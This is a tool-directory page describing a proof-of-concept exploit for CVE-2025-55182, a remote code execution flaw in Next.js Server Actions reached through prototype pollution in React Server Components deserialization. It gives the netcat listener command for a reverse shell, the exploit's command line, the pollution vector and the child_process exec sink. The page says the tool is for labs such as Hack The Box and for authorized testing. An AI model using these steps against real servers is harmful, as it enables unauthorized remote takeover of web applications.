Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/uwugreed/cve-2025-55182-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubuwugreed/cve-2025-55182-poc

CVE-2025-55182-poc

I know you are probably here from Hack the Box, if so, yes this one actually works.

View Repository
7h 42m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182-poc

A proof-of-concept (PoC) exploit for CVE-2025-55182, targeting an unauthenticated Remote Code Execution (RCE) vulnerability in Next.js Server Actions.

This exploit abuses prototype pollution during the deserialization of React Server Components (RSC) multipart payloads to inject malicious commands into the Node.js process using an asynchronous, non-blocking execution flow.


Features

  • Asynchronous Execution: Uses child_process.exec() instead of blocking execSync() APIs to prevent thread-hangs on container nodes.
  • Robust Multi-Shell Delivery: Leverages a POSIX-compliant FIFO pipe reverse shell string for maximum execution stability across minimalist Linux container engines.
  • No External Dependencies: Built entirely using Python's native requests library.

Usage

1. Set Up Your Listener

Open a terminal on your attacking host and open a netcat socket listener to catch the incoming reverse connection:

root@kitploit:~
nc -lvnp 4444

2. Execute the Script

Provide the target base URL, your local host interface IP, and your desired listener port:

root@kitploit:~
python3 exploit.py <target_url> <your_ip> [your_port]

Example:

root@kitploit:~
python3 exploit.py http://website.whatever:port x.x.x.x 4444

Technical Details

The script sends a crafted raw multipart payload directly to the application routing endpoint with the required Next-Action routing header.

By leveraging object construction signatures via {"get":"$1:constructor:constructor"}, the deserializer engine pollutes the native object tree. When processing the accompanying parameters, it interprets the maliciously embedded _response context block as an instruction queue, allowing code execution under the privileges of the running Node server user context.

root@kitploit:~
// Underlying vector target:
process.mainModule.require('child_process').exec('your_payload_here');

⚠️ Disclaimer

This script is created strictly for educational purposes, authorized security testing, and capturing vulnerable flags on labs such as Hack The Box. The author is not responsible for any misuse, unauthorized system intrusions, or damages caused by this utility.

Download Tool